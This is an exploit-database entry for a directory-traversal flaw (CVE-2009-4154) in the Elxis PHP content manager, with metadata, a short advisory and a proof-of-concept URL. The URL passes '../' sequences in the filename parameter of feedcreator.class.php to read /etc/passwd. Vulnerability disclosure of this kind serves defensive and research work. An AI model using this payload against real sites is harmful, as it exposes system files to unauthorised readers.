Elxis - 'Filename' Directory Traversal

Author: cr4wl3r
type: webapps
platform: php
port: 0
date_added: 2009-11-30
date_updated: 2014-05-16
verified: 1
codes: CVE-2009-4154;OSVDB-60611
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source: https://www.securityfocus.com/bid/37158/info

Elxis is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

http://www.example.com/includes/feedcreator.class.php?filename=../../../../../../etc/passwd